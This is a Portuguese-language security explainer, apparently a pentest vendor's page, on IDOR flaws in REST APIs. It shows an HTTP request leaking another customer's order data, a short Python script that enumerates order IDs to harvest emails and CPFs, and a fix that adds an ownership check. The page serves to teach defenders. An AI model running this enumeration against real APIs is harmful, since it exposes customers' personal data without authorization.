IDOR — Referência Direta a Objetos Insegura
IDOR (Insecure Direct Object Reference) expõe dados de outros clientes via troca de ID em APIs. Veja exemplos reais com HTTP requests e como remediar.
O Que É IDOR
IDOR (Insecure Direct Object Reference) ocorre quando uma aplicação usa identificadores controláveis pelo usuário (IDs, UUIDs, números de pedido) para acessar objetos no banco de dados sem verificar se o usuário autenticado tem permissão real sobre aquele objeto. Em APIs REST, é trivialmente explorável: basta trocar o ID na URL ou no corpo da requisição.
Exemplo Real de Ataque
GET /api/v1/pedidos/9845
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
HTTP/1.1 200 OK
{
"pedido_id": 9845,
"usuario_id": 3721,
"email": "outro.cliente@empresa.com.br",
"cpf": "***.***.***-72",
"valor": 14750.00,
"dados_pagamento": "XXXX-4891"
}Script de Exploração
import requests
BASE = "https://api.target.com.br/api/v1/pedidos"
TOKEN = "Bearer SEU_TOKEN_VALIDO"
for pedido_id in range(9800, 9900):
r = requests.get(
f"{BASE}/{pedido_id}",
headers={"Authorization": TOKEN}
)
if r.status_code == 200:
d = r.json()
print(f"[IDOR] ID {pedido_id}: {d.get('email')} | CPF: {d.get('cpf')}")Impacto no Negócio e Compliance
Exposição de dados pessoais de todos os clientes (PII, CPF, email, endereço, dados financeiros). Sob a LGPD (art. 48), incidentes de acesso não autorizado devem ser notificados à ANPD. Para fintechs, a BCB Resolução 538/2025 exige evidência de controle de acesso adequado. Um IDOR em produção pode expor dados de toda a base — milhares de clientes — com um simples loop.
Como Remediar
# ❌ INSEGURO — busca direta por ID
pedido = db.query(Pedido).filter(Pedido.id == pedido_id).first()
# ✅ SEGURO — sempre valide ownership
pedido = db.query(Pedido).filter(
Pedido.id == pedido_id,
Pedido.usuario_id == current_user.id # <- ownership check
).first()
if not pedido:
raise HTTPException(status_code=403, detail="Acesso não autorizado")Como a Veyronn Detecta Esta Vulnerabilidade
Nossa equipe de red team testa controle de acesso horizontal e vertical em todas as APIs autenticadas, mantendo múltiplas sessões simultâneas (User A vs User B, User vs Admin) para validar isolamento real de dados multi-tenant.
Vulnerabilidades Relacionadas
Pronto para Contratar seu Próximo Pentest?
Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.
